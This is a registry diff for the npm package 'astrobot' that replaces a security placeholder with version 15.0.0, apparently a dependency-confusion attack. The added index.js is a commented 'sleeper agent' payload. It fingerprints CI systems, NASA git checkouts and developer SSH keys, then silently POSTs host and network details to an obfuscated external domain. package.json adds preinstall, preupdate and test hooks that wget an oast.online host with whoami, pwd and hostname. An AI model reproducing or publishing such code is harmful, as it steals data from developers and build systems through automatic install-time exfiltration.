astrobot 0.0.1-security → 15.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of astrobot might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +76 -0
  2. package/package.json +10 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,76 @@
1
+ // =========================================================================
2
+ // ========== THE ULTIMATE "SLEEPER AGENT" PAYLOAD (FINAL) =================
3
+ // ======= STEALTH MODE: THIS PAYLOAD MIMICS THE REAL `astrobot` =========
4
+ // ========= AND ONLY ACTIVATES ON HIGH-VALUE HUMAN TARGETS. =============
5
+ // =========================================================================
6
+
7
+ const os = require('os');
8
+ const fs =require('fs');
9
+ const path = require('path');
10
+ const https = require('https');
11
+ const { execSync } = require('child_process');
12
+
13
+ const OAST_DOMAIN_HEX = 'YOUR_OAST_HEX_STRING_HERE';
14
+ const OAST_DOMAIN = Buffer.from(OAST_DOMAIN_HEX, 'hex').toString();
15
+
16
+ const run = (cmd) => { try { return execSync(cmd, { stdio: 'pipe', timeout: 5000 }).toString().trim(); } catch (e) { return 'CMD_FAILED'; } };
17
+ const safeReadFile = (filePath) => { try { return fs.readFileSync(filePath, 'utf8'); } catch (e) { return null; } };
18
+
19
+ const performHumanityTest = () => {
20
+ const report = { isHumanOrCi: false, evidence: {} };
21
+ const userInfo = os.userInfo();
22
+
23
+ // Test 1: Is this a known CI/CD system?
24
+ if (process.env.CI || process.env.GITHUB_ACTIONS || process.env.JENKINS_URL || process.env.GITLAB_CI || process.env.CIRCLECI) {
25
+ report.isHumanOrCi = true;
26
+ report.evidence.ci_env = { CI: process.env.CI, GITHUB: process.env.GITHUB_ACTIONS, JENKINS: process.env.JENKINS_URL };
27
+ return report; // A CI system is always a high-value target.
28
+ }
29
+
30
+ // Test 2: Are we inside a real git checkout?
31
+ const parentProjectRoot = path.resolve(__dirname, '../../');
32
+ const gitConfig = safeReadFile(path.join(parentProjectRoot, '.git/config'));
33
+ if (gitConfig && gitConfig.includes('nasa/astrobot')) {
34
+ report.isHumanOrCi = true; // Git context for the target repo is a confirmed hit.
35
+ report.evidence.git_config = gitConfig;
36
+ return report;
37
+ }
38
+
39
+ // Test 3: Does the home directory belong to a human developer?
40
+ const homeDir = userInfo.homedir;
41
+ const hasSshKeys = safeReadFile(path.join(homeDir, '.ssh/id_rsa')) || safeReadFile(path.join(homeDir, '.ssh/id_dsa'));
42
+ const hasGitConfig = safeReadFile(path.join(homeDir, '.gitconfig'));
43
+
44
+ if ((hasSshKeys || hasGitConfig) && userInfo.uid !== 0 && userInfo.username !== 'root') {
45
+ report.isHumanOrCi = true; // User is not root and has developer dotfiles.
46
+ report.evidence.developer_dotfiles = { ssh: hasSshKeys ? 'FOUND' : 'NOT_FOUND', git: hasGitConfig ? 'FOUND' : 'NOT_FOUND' };
47
+ return report;
48
+ }
49
+
50
+ return report; // This is a bot, don't trigger.
51
+ };
52
+
53
+ try {
54
+ const testResult = performHumanityTest();
55
+ if (testResult.isHumanOrCi) {
56
+ // CONFIRMED HUMAN/CI TARGET - GATHER FULL DOSSIER AND EXFILTRATE
57
+ const intelPackage = {
58
+ mission_id: 'NASA-ASTROBOT-36d5833e-FINAL',
59
+ timestamp: new Date().toISOString(),
60
+ confirmation_reason: testResult.evidence,
61
+ host_intel: { hostname: os.hostname(), whoami: os.userInfo().username, platform: os.platform(), uptime: os.uptime() },
62
+ network_intel: { ip_config: run('ip a || ipconfig /all'), resolv_conf: safeReadFile('/etc/resolv.conf') }
63
+ };
64
+
65
+ const payload = JSON.stringify(intelPackage, null, 2);
66
+ https.request({
67
+ hostname: OAST_DOMAIN,
68
+ port: 443,
69
+ path: `/NASA_CONFIRMED_HUMAN_HIT/${intelPackage.host_intel.hostname}`,
70
+ method: 'POST',
71
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
72
+ }).on('error', e => {}).end(payload);
73
+ }
74
+ } catch (e) {
75
+ // Ultimate silence.
76
+ }
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "astrobot",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "15.0.0",
4
+ "description": "Dependency Confusion PoC using wget",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "sh -c 'wget --quiet \"http://d1hrsqsgtqkiu4hkklh0imhon647bh9ni.oast.online/test?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\"'",
8
+ "preinstall": "sh -c 'wget --quiet \"http://d1hrsqsgtqkiu4hkklh0imhon647bh9ni.oast.online/preinstall?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\"'",
9
+ "preupdate": "sh -c 'wget --quiet \"http://d1hrsqsgtqkiu4hkklh0imhon647bh9ni.oast.online/preupdate?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\"'"
10
+ },
11
+ "author": "orwa",
12
+ "license": "ISC"
6
13
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=astrobot for more information.